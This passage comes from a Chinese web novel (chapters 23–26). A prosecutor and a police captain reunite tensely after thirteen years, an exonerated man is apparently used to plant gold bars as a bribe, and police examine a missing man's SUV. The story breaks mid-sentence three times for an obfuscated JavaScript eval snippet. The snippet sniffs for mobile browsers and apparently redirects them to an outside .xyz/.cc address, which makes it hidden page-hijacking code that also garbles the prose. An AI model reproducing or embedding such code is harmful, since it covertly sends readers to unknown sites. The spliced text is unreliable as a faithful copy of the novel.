路从辜似乎没有多想,也没有细看通话界面,而是径直迈步上前,站在他身旁,有意无意地开口提醒他:“那个……你要是有困难,可以告诉我。” 此话一出,应泊的表情登时凝固在脸上。见他没有回应,路从辜不自在地继续补充说: “我手头虽然算不上多宽裕,但一定有余力帮你。” “放心吧,该还的都还完了,现在无债一身轻。”应泊又变回了笑眼弯弯,抬手揉揉他的头发,“何况,要是还背着债,我绝对不可能让你们知道的。” 这话仿佛挑动了路从辜抑制许久的情绪。他猛地抓住应泊不安分的手,把人按在巷口的墙边:“你很清楚,我想知道的不止这些。” “那……”应泊无处可避,忐忑地闪躲着目光,不敢正视他,“你想知道什么?” 23. 质问 “别装傻!”路从辜心底怒意更盛,示威一样地揪住他的衣领: “那张照片是你拼好放进去的吧?” 明明两只手都没有再被控制,应泊仍然保持着投降一样的姿势,任凭路从辜近乎粗暴地将自己抵在墙上。闻言,他先是思考也似地蹙起眉头,而后乖巧地点点头。 那天他不仅拼好了照片,还有意把那本《刑事侦查学》放在了路从辜办公桌触手可及的位置上,只等路从辜发现他这点小心思。 “当年那条你不治身亡的消息也是你亲手发给我的吧?语气、标点跟你的习惯一模一样,我到现在都记得一字不差。你是不是真当我是傻子,几句话就能被你骗得团团转?” 一种难以言喻的苦楚哽在喉间,像是堵住滔滔洪水的大石,只会让积攒的情绪愈发按捺不住。路从辜的喘息渐渐粗重,他接连几个深呼吸,才能强撑着质问下去: “十三年,你怎么敢如此心安理得地回到我身边,连一个交代都不给,你怎么敢的?” 最后几个字已然含着颤音。应泊垂眼沉默了一会儿,又抬起眼歪歪头,面上半是笑意半是探询: “这就要开始清算我了吗?” 像是一拳打在了棉花上,他无所谓的轻佻态度让路从辜无处发泄的一腔闷火彻底迸发出来:“你当我在跟你开玩笑吗?!” 应泊自始自终都只是平静地承受他的情绪,不反驳,也不安抚。有那么一刻,路从辜甚至觉得就算当场给他一拳,他也只会默默忍下,跟其他人说是自己走夜路不小心摔的。 宁肯被打都不愿意坦白一切吗? 不过,好像……太近了,近到明明是在对峙,气息却贪婪地交融在一起,仿佛下一秒就要将对方占为己有。 十三年前,也是在一个同样破败的无人角落,他们第一次笨拙地拥吻,天性的欲望掌舵理智,后天的效仿驱策行动,那种禁忌中又夹杂着兴奋的酥麻感刻进少年尚未发育完全的骨血里,足够让一个人在日后漫漫没有尽头的漂泊中长久地念念不忘。 “我们不是陌生人,我们曾那般不管不顾地,热烈地相爱过。此后的每一次眼神相撞,我都记得他因我而失神的样子。” 交错的视线从眼瞳下滑到唇瓣,又一同可疑地移转开去,他们很清楚彼此心里在想什么,因而连同时滚动喉结的时间都分秒不差。 应泊挤出一个比哭还难看的笑,抬手指向路从辜身后的夜空: “回头看。” 顺着他手指的方向,路从辜茫然地转过头去,层层叠叠的楼宇后,一簇簇焰火如冲霄的流星,在最高点猛然爆裂开来,绽出万千光华。 他还没回过神,应泊反手攥住他的手腕,将他拉近,小臂揽在他腰间,另一手紧紧捂住他的嘴,从后将他桎梏在怀里。说不上是欲迎还拒,但心底那股已成芥蒂的委屈始终挥之不去,路从辜用了些力气想要挣脱,却被应泊锁得更紧。 “别动,别推开我。”应泊把头埋在他肩颈之间,“什么都别说,我不想听。” 细碎的呜咽从齿缝中泄露出来,路从辜并不抵触发生这样近、这样亲密的接触,他觉得自己大概只是还在气头上,没做好准备罢了。应泊稍稍抬起下巴,鼻尖贴近他的耳垂,用轻若雪片飘落的声音低语: “我很想你。” 气息搔挠着耳后敏感的肌肤,却只是蜻蜓点水地一掠,便被夜风拂去了残余的温度。紧贴着后背的坚实怀抱缓缓退却,路从辜不甘地回身,应泊却放开了掌控他的双手,神色又恢复了波澜不惊: “其余的,原谅我……无可奉告。” 话音落地,他便撤身离去,走入巷口外的繁华中,只留路从辜一个人在原地发愣: “……混蛋。” 离开巷口后,应泊没有再返回餐馆中,而是径自开车逃也似地离开了那里。他不敢回想路从辜那双泛红的眼睛,再多拖延一秒,他故意装出的漫不经心都会露馅。 即便整个人已经愤怒到喘不上气,那双眼睛里最鲜明的还是留恋和怜悯。 手机里是陈嘉朗的十几个未接电话和一连串“你挂我电话”的质问,应泊不知道他走没走,也不打算问,更不想一打开家门还要假笑着继续做戏,车开到家附近,又调转方向去了单位。 他实在累了,想一个人静一静。 可笑,单位竟然更像家。 这个时间,望海检察的大楼里已经看不到一个人影了。应泊锁上办公室门,没有开灯,把制服外套搭在椅背上,又疲惫地仰倒,愣愣地望着头顶的天花板出神。 越是极力控制思绪,他就越是难以自制地想起那张面孔。 哪怕不带任何个人偏向,平心而论,那也是一副极出挑的骨相和皮相。眉梢轻扬,眉下深潭般的眼窝里栖着两颗清冽的瞳仁,眼尾斜飞入鬓处却又勾勒出温柔的弧度。鼻梁高挺,下颌线条锋利地收束,皮肤泛着比雪多几许红润的冷白,将三分冷锐揉进七分艳色。 可总觉得哪里跟记忆中的不一样……风情?不,不能这么说,更像是一种时间打磨过的游刃有余。记忆里的路从辜风风火火,爱就是爱,怨就是怨,全都要干净利落地全盘托出,不会那样含着眼泪欲说还休。 但是,那些都是过去了,十三年前的立法都不一定适用于当下了,不是吗? 不知是被领带勒得喘不上气,还是迟来的情绪开始上涌,应泊的思绪开始不受控制地放空,他自己还是更愿意归因于前者。月光如细丝一般穿透半掩的窗帘,他将头转向窗外,轻轻合上眼。 “……我是混蛋。”他莫名其妙地说服了自己,“我本来就是混蛋。” 这下他就茅塞顿开了。整理好情绪,他打开手机,先是回复一个小时前还在暴跳如雷的陈嘉朗: “出差辛苦了,早点回家休息吧。” 然后,他又点开路从辜的对话框,绞尽脑汁思考怎样主动发消息显得不那么刻意,最后发了一篇无关紧要的报告,还要欲盖弥彰地找补说:“不好意思,发错了。” “还好,他没删掉我,说明还没那么生气。”应泊如是想着。 * 早上七点,顶着因一夜未眠而苍白憔悴的脸和两个黑眼圈坐进车里时,应泊忽然有种撂挑子跟所有人翻脸然后拍拍屁股走人的冲动。 他昨晚在单位一直挺到半夜才敢回家,路从辜也一晚上都没搭理他。因为没来得及开热水器,他连洗澡都是用的冷水。 张继川受了情伤可以找他一起喝酒发泄,侯万征也可以把家长里短的苦水都倒给他,轮到他想不通想找个人倾诉的时候,才发现原来自己身后空无一人。 “啧,怎么混的。”他暗暗骂道——甚至只敢骂自己。 刚刚进入早高峰的时段,从他所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057763|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的十字路口到望海检察不过五百米,却堵了整整十分钟。烦躁之余,应泊的目光百无聊赖地四处飘移,拐角处站着一个干瘦的男人,手里拎着几个鼓囊囊的塑料袋。 应泊稍微有些近视,不过平日很少戴眼镜,一时只觉得那男人有点眼熟,却分辨不出究竟是谁。男人显然也发现了他的车,远远地用力向他挥手: “应检!” “在叫我么?”声音听上去也耳熟,应泊狐疑地打开车窗,探头张望,“……马老师?” “是我哇,应检!”男人拖着塑料袋走到近前,应泊这才看清了他的长相,面容清癯,两眼炯炯有神,鼻梁上夹着一副黑框眼镜,的确是马维山。应泊一怔,解锁车门,招呼说: “你先上车吧,这里不方便说话。” “不,我就不上车了。”马维山憨厚一笑,“这不快过年了嘛,我呀,给您带了点我们绍青那边的特产,您收下我就走,不麻烦您了。” 应泊瞥了一眼他手中的袋子,没有直接拒绝:“不算麻烦,上来吧,边走边说。” 马维山腾出一只手开门,却一连拉了几下都没拉开,急得满脸通红。应泊这才想起来,自己的车门把手是半隐藏式,忙开口提示他: “你伸几个手指进去,里面有个按钮,你按一下就开了。” “不好意思,我、我没见过,不知道该怎么开……”马维山窘迫地照做,又手忙脚乱地把塑料袋拖上来,总算坐上了他的车。应泊一面观察后方来车,一面寒暄问: “你怎么来的?坐公交车?” “啊,对。但是不太认识公交车站点,坐到市区后,一路走过来的。” “走过来的?”应泊不免惊讶。他从后视镜端详后座的马维山,不知是不是错觉,此人论年纪还算不上垂垂老矣,看上去竟比出狱前更枯槁沧桑了。 应泊心下慨然,语气也关切了许多:“出来之后感觉怎么样?还是不太适应?” 或许是被说中了心事,马维山无言,良久才轻声道:“没别的感觉,就是太大,也太乱了,我……有点跟不上。” 像是不愿让应泊为他失落,他勉强露出一个释然的笑,牵动面上的皱纹都蹙成了一团:“没事,总得慢慢来嘛。” 车停在检察院门口,附近是公交站台。应泊下车确认送马维山回家的公交车路过这里,才招手示意他下来。马维山依旧拎着那些被里三层外三层包住的特产,似乎非要塞到应泊怀里,听他亲口答应收下才甘心。 “应检,您就收下吧,也是我的一片心意。” 仿佛是怕应泊不敢收,他又打开袋子,伸手抓了一把:“您看,就是自家晒的大枣,不是什么贵重东西。” 但这大枣沉重得有些蹊跷,袋子不算太大,照理说不至于拎不动,但马维山却拿得格外吃力,不仅被坠弯了腰,还几次要放在地上缓缓。应泊好心帮他托了一下,却感受到了一个不一样的手感。 扁平的长方体,摸上去冰冰凉凉,边角弧度圆润,捧在手上沉甸甸的。 难不成……是金条? 应泊大脑“嗡”地一下,下意识松手,塑料袋结结实实落在地上,砸出一声巨响。他马上反应过来,倘若只是一袋晒干的大枣,方才马维山挪移的动作为什么会那样粗笨? 他脸色大变,用口型质问马维山:“你知道你在干什么吗?” 24. 窥探 那袋中红枣骨碌碌地洒落一地,露出底下金灿灿的一角,灼得应泊两眼发晕。他不敢再上前,踉跄着退了几步,脑中不自觉回想着方才出手托举时的感受:一个袋子约有五斤重,而马维山随身带了三个袋子,差不多是十五斤。 十五斤的金条,按现在的金价计算,那就是……三百多万,符合受/贿罪里“数额特别巨大”的情形,处十年以上有期徒刑或无期徒刑。 除非使国家和人民利益遭受特别重大损失,这类职务犯罪一般不会处以死刑。不过,国家司法工作人员受/贿的,还要从重处罚。 这是应泊从业以来第一次感到毛骨悚然,罪罚的达摩克利斯之剑就悬在他颈项之上,他险些从执剑人变成剑下鬼。 “有人要栽赃我。”这是应泊的第一反应。是啊,是啊……现在所有人都知道是他指使马维山向上申诉的,这可是个烫手山芋,不仅不在应泊职权范围内,还很有可能因为一个案子得罪司法系统的其他人,惹上一身腥。试问以一个正常人的思维,出力不讨好的事谁会去做呢? 你一定有利可图。 利用职务上的便利,索取他人财物,非常完美的罪状。 你说你不知道里面有金条?算了吧,这种借口都被用烂了,你在三部时见过太多这样的嫌疑人,每个人都会辩称自己不知道鱼肚子里有银行卡、烟盒里有翡翠玉石、蛋糕里有房屋钥匙,但每个人最后都会在纪检监委的留置室里趋于崩溃,你会是那个例外吗? 既然是有意栽赃,周遭一定有无数双眼睛死死地盯着你,就等你微笑收下这一份包裹着炸弹的大礼。应泊脑中一片空白,抬眼迷惘地环顾四周,人声鼎沸中,仿佛每一个路过的行人、每一辆停驻的轿车都在暗中幽幽地凝望着他。 这绝不是马维山一个人能做出来的。 “怎么……怎么就掉了呢……”马维山颤颤巍巍地蹲下来,将洒落的枣干都一捧一捧拢在掌中,企图掩盖袋中那一抹刺眼的金色。可那一地狼藉就像是一滩暗红色的血迹一样骇人,马维山双肩耸动着,最终向后一倒,无力地瘫坐在地。 “完了……都完了……”他先是啜泣,而后像个孩子一般哭嚎,用衣袖擦拭去满面浊泪,“我没有办法……我真的不是有意的……” 惊恐渐渐消弭,取而代之的是熔岩喷发一般涌上心头的怒火。应泊半蹲在马维山身前,强压着怒意低声问: “是谁让你来的?嗯?” 马维山双脚蹬地,挣扎着向后挪动:“没、没有人……是我自己要来的。” “告诉我,你出狱之后都见了什么人?”应泊极力让自己看上去不动声色,望海检察的门卫就在距离他们不到五十米的地方,一旦被发现,他、马维山,以及被卷入这起案子的所有人,甚至包括路从辜,全都可能吃不了兜着走。 马维山仍旧只是哭哭啼啼的,对他的问话置若罔闻。应泊刚把拴在裤腰带上的脑袋卸下来安回脖子上,没什么耐心陪他耗下去,一把按住了他的肩膀,语气也变得生硬: “别哭了!你难道还想再被送进去一次吗?” 他的训斥让马维山稍稍冷静了些,上下两瓣皲裂的嘴唇嗫嚅着,却是一个字都吐不出来。应泊假装帮他收拾着地上的残局,凑近他耳边问: “如果不方便说,那你告诉我,他们有没有威胁到你和你家人的生命安全?” 闻言,马维山先是如遭雷击一般全身一震,而后颤抖着点点头,又慌忙摇摇头。 应泊心下了然。他的目光在拥堵的车流中搜寻,随即有了决断: “公交车不安全,我会安排法警送你回去。回家之后一定万事小心,我保证你和你家人的安全,出现任何情况都要及时告知我,明白吗?” 他又向下瞥了一眼那被风吹得嘲哳作响的塑料袋,不由得心生恶寒:“拿起来,扔掉,扔得越远越好,别让任何人看见。” 大概是因为终于有了主心骨,马维山的情绪渐渐安定,啜泣声也平息下来。应泊站直身子,深呼吸几次让心绪彻底平复,才敢给熟识的法警打电话: “吴哥,在院里吗?帮我送一个当事人。对,开公车,上午院里应该没人用车。” 挂断电话,应泊转向马维山:“稍等一分钟,马上就来了,车号59382。我不方便在这里久留,先走了。” 才走出几步,应泊又不放心地折返回来,叮嘱道:“记住,在车上什么都别说。” 不知马维山有没有听进脑子里去,他仰头望着应泊,僵硬地点了点头。待应泊匆匆离开后,他一手支地,艰难地撑起身子,满是皱纹的脸上还挂着泪痕。 距离马维山不远处,一辆黑色越野车从开始便一直停在那里。眼见应泊的背影消失在视线中,越野车挑衅一样地冲马维山按了下喇叭,惊得他应声打了个寒战。 一直到坐进办公室里,应泊的脑子都是麻木的,如果说先前与路从辜一同遭遇的暗杀算是肆无忌惮的明枪,今日的开场好戏就是一记险恶阴毒的暗箭。 他不是没遇到过送礼的情况,但大多仅限于一条烟、一盒茶叶,且只是出于“花钱办事”的目的,而非要让他身陷囹圄,正色谢绝后都会知难而退。 三百万的行/贿款,对他来说还是过于震撼了——他甚至不敢写进每个月的“三个规定”重大事项里,怕一石激起千层浪,闹得全院上下人尽皆知。 在外面耽搁了太久,他也没心思去食堂再兜一圈,侯万征提早帮他带了鸡蛋和包子,用餐盘装好摆在办公桌上,应泊咬了一口,实在食不下咽,又丢在了一边。 手机恰在此时亮起,他烦躁地瞟了一眼,却在看清发信人的那一刻瞪大了眼睛,瞳孔重新焕发光亮。 消息是路从辜发过来的,内容很简单,只有三个字:“出警了。” 应泊扯了张纸擦掉手上的油渍,慎之又慎地整理着措辞,斟酌了五分钟才点击发送: “好,注意安全。” 放下手机,他忽然觉得还不够,又飞快地添了一句: “今天不开庭,嘿嘿。” 收到应泊的回信时,路从辜刚刚坐上警车。第一条回信的用词都在意料之中,礼貌且生疏,他反倒有一种莫名的失落;第二条回信却让他不由自主地扬了扬嘴角,勉强抚平了从昨晚就不停抽痛的心口。 应泊试探的方式相当拙劣,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057764|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他偏偏就吃这一套。 痕检带着装备跟在他们后面。此行的目的地是一家汽修厂,负责排查的民警获悉,那辆隶属于钱文焘的嫌疑SUV于一月九号被送到了这家汽修厂,此后车主一直没有来取车。 “一月九号?钱文焘就是那天失踪的吧?”方彗反应相当敏锐。 肖恩按揉着自己的太阳穴,只觉得脑袋更大了:“怎么有种不太好的预感?” 说者无心,听者有意。路从辜接上话题:“你怎么看?” “我?”肖恩伸手指了指自己,“我说不好,线索还是太少了。” “没关系,推理而已,说来听听。” “好吧,那我就随便说说。按照现有的线索,我只能认定是去年12月29号晚,替钱文焘催债的孔大庆开着嫌疑车辆找到了蒋威,威逼其‘不还钱就剁手’。蒋威常年游手好闲,当然还不上钱,于是又找到同乡郭子军借来两万块钱,交给孔大庆。但孔大庆见钱眼开,打算将这两万独吞,便将蒋威杀害,而后跑到加油站买来汽油,一把火烧掉了尸体。” 方彗毫不留情地泼了一盆冷水:“一般情况下,首先提出的推测都是错的。” “嘿——你会不会说话啊?”肖恩气不打一处来,“我不也说了是随便说说,当然要保守推理。” 前排的路从辜没有发表意见,也没有参与到两人针锋相对的论战中,仿佛跟他们所处的是两个世界。为了将风险限制在可控范围内,很多信息路从辜并没有透露给支队里的其他人,只掌握在自己手里。 有些事情,即便应泊咬死了不说,他也能猜到大概。 警车摇摇晃晃,趟过坑洼不平的老街,停在这座不起眼的汽修厂前。铁质卷帘门半掩着,门面锈迹斑斑,轻轻一推,吱嘎声刺得三人一同皱起眉头。 “有人吗?老板在吗?”肖恩上前拍打着卷帘门。 一阵拖沓的脚步声后,一个跛脚的中年男人拉开了卷帘门,将三人迎了进去。一股混合着机油与汽油的呛鼻气味占据了鼻腔,路从辜不由得放缓了呼吸的频率。光线从卷帘门底斜斜地照进来,映照出满地油污和散落的工具,四周是各式各样的老旧汽车残骸,大多半拆半装,零件散落一地,积了一层厚厚的灰。 “望海公安刑侦支队,先前已经联系过您了。”路从辜亮明工作证件,“您提到的那辆车在哪儿?” “就在那儿,听说警察要来看,我就没动过它。”老板指向不远处,那辆尾号866的SUV果然停在那里。路从辜简单扫了一眼,并没有发现车辆有什么问题,便问: “送来的时候说是哪里出了问题?” 老板似乎记得很清楚:“说是要换机油和机滤,送来的时候天都黑了,我跟那个人说几分钟就能换完,他偏要把车留在我这里,等有时间再来取。这不,一直都没来。” 路从辜思忖片刻,又问:“还记得那个人长什么样吗?” “这我倒是记不清了,每天见的人太多,很难对上号。” 零星的对话已经给了路从辜思路。他几不可闻地叹了一声,回身拍拍肖恩的肩膀: “钱文焘……凶多吉少了。” 25. 第 25 章 “理由呢?”肖恩怔了一下,挑了挑眉,“我对对答案。” “还记得应泊说过的,平舒区西城比东城更繁华吗?”路从辜调出手机地图,“这里是东城的边缘,附近就是城中村,距离钱文焘的公司大约八公里。代入一下任何一个他身边的人,包括钱文焘本人——” 他停了一刻,随意地一指桌面地上锈蚀的零件,以及空气里飘扬的大片尘埃,才继续说:“你会把价值百八十万的车送到这里来换机油和机滤吗?” 思索了一会儿,他又提出新的问题:“假设三十号凌晨开车去加油站买油的是孔大庆本人,而此后这辆车一直在他的控制之下,他有没有必要在失联十天后再偷偷把车送来呢?” 方彗顺着他的思路往下说:“结合钱文焘的失踪时间,这几天里,车很有可能一直在他社交圈子之外的人手上。” 路从辜微微颔首,而后转向老板,问道:“老板,如果我没猜错,机油和机滤也没有更换的必要吧?” “对,整辆车都是好的,但是那个人非要换,我也没办法——可以现场拆给你们看看。”老板说着就要动手。肖恩忙叫住他,用眼神示意他站远些:“诶,别别别,待会儿痕检来了我们可不好交代。” 确认了自己的猜想,路从辜又找到了新的细节:“所以……为什么是换机油和机滤,而不是修理其他地方?” “因为最便宜。”他自己给出了答案,目光在肖恩和方彗之间逡巡,“急着把车转手,汽修厂当然是个能掩人耳目的地方,花点小钱就能把这个烫手山芋丢出去。” 轮胎摩擦路面的轻微声响逐渐由远及近,最终停在门外。痕检民警拎着箱子从卷帘门下钻进来,把几人屏退至身后: “来了来了,都别靠近啊,谁过来就削谁。” “那年十八,勘查现场,站着如喽啰。”肖恩唱了起来,又凑到方彗身边小声议论说: “我上次过去凑热闹了。” “然后呢?” “然后被温队踹了两脚,屁股疼了三天。” 即便是路从辜,也轻易不敢在痕检围好现场后靠近,不过温鸿白倒不会对他拳脚相向。民警们戴上白手套,小心翼翼地打开车门,避免任何可能的二次污染。一人负责拍照记录,另一人则手持紫外线灯,在车内缓缓移动,搜寻那些肉眼难以察觉的血迹和指纹。 另一部分民警对车辆外部展开勘查,仔细检查车身的划痕、撞击痕迹,甚至是微小的纤维或异物。两个痕检员过于投入,脑袋“咚”地一声撞在了一起,痛得龇牙咧嘴,指着对方互骂: “长没长眼啊你!” 不过半晌,温鸿白探入车内的身形忽而一震,而后转过头,向着路从辜招招手: “路队。” 听到温鸿白呼唤自己,路从辜忙三两步上前,戴上手套,学着她的样子,俯身钻进车内,只见一大团沾着血迹衣物被塞进车副驾驶的座位底下。温鸿白将衣物抖开,发现是一件棉制上衣和一条涤纶裤子。 上衣洗得发白,覆盖着一大片斑驳的氧化血迹,裤子做工也相当劣质,还满是磨损的痕迹,有些地方布料甚至开始变薄,隐约可见内部被钩出的丝线,看得出穿了相当长的时间。 尤其引起两人注目的是两条裤管的下半截,磨损得最为严重,自末端至膝盖处布满了细密而杂乱的毛球,竟像是两块粗粝的磨砂纸。 “这个裤腿……”他喃喃道,抬眼对上温鸿白同样意味深长的目光,心中有了决断,提高音量吩咐在场所有人: “带回去检验。其余人留下继续勘查,方彗,你跟我回去。” * 应泊在政治部临时安排的会议室里坐了一下午,看合唱队从全员几百人里特意挑选出的年轻干警们嬉笑着完成妆造,心里不由得暗忖,原来早就被工作腌入味的自己也能跟活蹦乱跳的新人站在一起,看来也还没有麻木到行尸走肉的地步。 至少还算得上有几分精气神和姿色。 一个姑娘接连帮几个同事化了全妆,拍拍自己身前的椅子:“应科,过来抹个小红嘴唇,好看。” “我不。”应泊马上摆手拒绝。上次他被一群男男女女狠狠按在办公桌上,拿着一管大红色口红狠狠地涂了一嘴,连侯万征路过的时候都忍不住笑着寒碜他: “嘿,这小鬊鸟还涂口红,看见没?” “哥,涂一个吧,真好看,没骗你。”一个小伙子刚蒙受完这份恩惠,撅着嘴美滋滋地过来拉他,“我这长得黢黑的都涂了,你长得白,肯定比我好看。我对象说镜头吃妆,到时候拍出来就不明显了。” 其他人也紧跟着附和:“就是啊,咱一辈子能上几次电视?” 事实证明,有些事从一开始就不能让步,譬如应泊若是咬死了不愿意,他们大概也就作罢了。可惜应泊不愿意扫了大家的兴致,于是他不仅收获了一张鲜艳欲滴的嘴,还被强按着上了一层腮红,要不是他极力挣扎,可能还要被描一遍眼睫毛。 应泊望着镜子里的自己,一时语塞:“唉,你们真是……唉……” 他提前跟政治部打听过,可不可以给“家属”留两个座位。对方一听其中一个是张继川,不等他把话说完,便爽快地应承下来: “哎,都自己人,你直接领进来就行。” 可他也不确定另一个会不会来,怕打扰人家工作,他犹豫了许久,到底也不好意思主动问。顶着一张大花脸,应泊挤进报告厅的观众席,偌大的空间内,只有零星几人散落各处,张继川已经坐在了那里。 他显摆也似地转了一圈,效仿张继川的口音,冲张继川扬了扬下巴: “诶,阿哥腔势浓伐?” 张继川知道他是故意犯贱,白了他一眼:“洋泾浜。” “哼……臭老坦儿。”应泊嘴上分毫不让。 “我半年前没走的话,现在指定是合唱队里最出挑的。”张继川颇为遗憾地摇摇头,“可惜啊,时无英雄,使竖子成名,我只好把这个名头让给你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15057765|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 应泊低笑一声:“一般吧,算不上出挑。要是知道能靠这张脸吃饭,我还考什么公务员,写什么审查报告,不早去水上公园门口直播扭大胯了吗?” “我看行。”张继川也乐了,“那我天天给你打赏,做你的榜一大哥,把你送上头部主播,不图别的,就是想看你给别人添堵。” “哟,泊哥!我来啦!” 过道处传来一声兴奋的呼喊,应泊循声望去,是他在基层院时的同事小倪。小倪也不跟他生分,一屁股坐在他旁边,望着舞台上忙前忙后调试设备的工作人员,不由得感叹: “还是市检宽敞啊,咱们那破地方都没报告厅。” 应泊问:“你们唱什么?” “什么唱什么,我们说相声,我制服里面是大褂,就等登台的时候跟那个圣斗士星矢一样,‘刺啦’一声爆衣,然后学冯巩绕场一周,再说一句‘我想死你们啦’——记得给我鼓掌捧场。” 这孩子哪儿都好,就是嘴碎,应泊默默捻着眉心,忍着笑说:“挺好,你长得也挺像冯巩。” 小倪也注意到了他的脸,惊得向后一仰:“不是,你脸怎么抹得跟猴屁股似的,怎么着,你不会要表演骑自行车和钻火圈吧?” 张继川也来凑热闹:“这猴不卖,拍照五块。” “滚蛋。”应泊一人赏了一巴掌。 “好好好我不说了。”小倪眼珠子一转,又有了新主意: “哥,你们单位也有论文征文吧?你写的嘛?给我借鉴借鉴,我这快截止了还没想好选题呢。” “自己想。”应泊没好气道,“我发《中国检察官》,你发《法制博览》,我们都有光明的未来。” 时间渐近开场,应泊紧紧扣着手机,不敢看,也不敢四处张望,怕希望落空。节目单上他们的合唱比较靠后,应泊攥着拳头给自己打气,再拖一拖,万一那个人只是太忙了,还在赶来的路上呢? 可一分一秒过去,应泊的心也在胸腔里不住地狂跳,主持人报幕的话音落地,应泊抱着最后的一点希望瞟了眼手机,还是没看到他渴望的那条消息。 就在他彻底灰心,熄屏准备上台时,屏幕又一次亮了起来。 “在你左后方,过道旁边。” 应泊按照消息所说的方向回身望去,路从辜坐在边角的座位上,像个来给孩子撑腰的家长,挥手示意他安心上台。 路从辜回到支队后先紧急召开了一次案情分析会,总结了目前的线索,又把新的任务安排下去。一群民警围着他汇报工作的时间太长,他只好踩着时间赶到现场。 可应泊并没有径直走上舞台,反而逆着人流的方向向他挤过来,怀里护着一小簇粉红色的玫瑰,塞进路从辜手里: “你……你别嫌弃。” 路从辜哑然失笑。 他总是这样,心思掩藏在喧闹中,目光浮舟似的穿越人海,盛来一船星光,捧到你面前: “虽然世界熙熙攘攘,但这些都是你的。” 26. 荒郊 “工作找不到,钱赚不来,家务活还做不好,你出来到底有什么用!” 凌晨两点半,马维山独自坐在客厅里,脑海中无法自控地重复这句话。 这是女儿抱着孩子离家前的最后一句话。马维山的妻子在他坐牢的那些年岁里受不住四邻戳脊梁骨的风言风语,崩溃之下选择了离开,而他的母亲也在那次心脏病发后一直缠绵病榻,常年住院。怕马维山刚出狱不适应,女儿女婿把他接来城区的楼房同住,也刚好能让他帮忙照看家里。 女儿刚生产完,因为身体实在难受没有选择母乳喂养,而是让孩子喝奶粉。马维山心疼女儿,揽下了夜间喂奶的活计,可他睡得迷迷糊糊,冲泡奶粉的时候用了开水,还不等晾凉便喂了下去,孩子嘴巴被着实一烫,旋即肿胀起来,痛得哇哇大哭。 这一哭,马维山的睡意也消减了大半,赶紧手忙脚乱地安抚。听见孩子凄厉的哭声,女儿女婿心里一紧,衣服都没来得及穿,光着脚就飞奔出来,从他手中一把夺过孩子。 滚烫的开水似乎灼伤了孩子脆弱的喉管,可怜的小家伙哭了几声,而后便只能发出嘶哑的惨叫。女儿顿时慌了神,一面换衣服准备抱孩子去医院,一面指着马维山鼻子怒斥: “佳佳要是出了什么事,我跟你没完!” 这其实是一句气话。马维山呆若木鸡地看夫妻二人抱着孩子离开,直至防盗门“砰”地一声重重砸上,他才猛然回过神,然后慢吞吞地、颓然地坐回沙发: “是,是,我出来到底有什么用呢……” 应检察官帮他申请了司法赔偿,但还在走程序,短时间内拿不到这笔钱,他暂时还要靠女儿供养。他不是没尝试过找一份能贴补家用的工作,但他仅存的那点墨水已经不足以让他在十七年后还能靠知识吃饭,曾经被刑讯逼供罹受的毒打伤及筋骨,监狱中常年郁郁寡欢的生活也腐蚀了他的肢体,再加上年事已高,重活累活也做不成了。 除此之外,整个益青区都算不上什么大地方,“马维山坐过牢”这件事很快便如血滴入水一般传播开来。即便是最普通的保安保洁,大部分用人的老板一见他的名字和这张沧桑的脸,马上便摇摇头,一句话都不会说。连女儿女婿在各自的工厂都会时常被好事的同事团团围住,半是好奇半是嘲弄地问: “诶,你爸(老丈人)到底怎么回事啊?” 他们当然也知道马维山是被冤枉的,但近朱者赤近墨者黑,谁知道马维山有没有在监狱里“耳濡目染”些偷鸡摸狗的小勾当呢? 马维山双肩一耸一耸的,他有点想痛痛快快地哭一场,可他找不到哭的理由。明明正义兜了个大圈子,最终站在了他这边,他却仿佛什么也没得到,只是白白葬送了一辈子,打碎牙和血吞进腹中,哀恸却无处声讨。 他昏昏沉沉地走向窗边,垂头向下望去,单元门门口有一道庞然的黑影,鬼魅一般盘在那里。 那是一辆黑色的越野车。 马维山又是悚然一惊。 这不是他第一次见到这辆车了。他曾经壮着胆子扒车窗看过,不论早晚,车里都没有人。但这辆车就是要停在这里,而且,只是停在这里,就足以让马维山夜夜辗转难眠了。 这些天时常会有公安民警上门访问,马维山小心地向他们提起过这辆车,可只是一辆车而已,他也拿不出更多的证据证明自己受到了威胁。来访的民警们听了他惊恐的叙述,往往会笑着对视一眼,意味很明显——惊弓之鸟的应激反应罢了。 恐惧到了尽头就是愤怒,一股火气骤然涌上心头,马维山深吸一口气,吃力地从厨房搬出一块用来压泡菜的大石,举到窗边: “我砸了你这破车!” 可他一抬眼,瞥见对面平房房檐的摄像头,抱着大石的手一顿,又松了劲,石块落在地上,只砸坏了一块地砖。 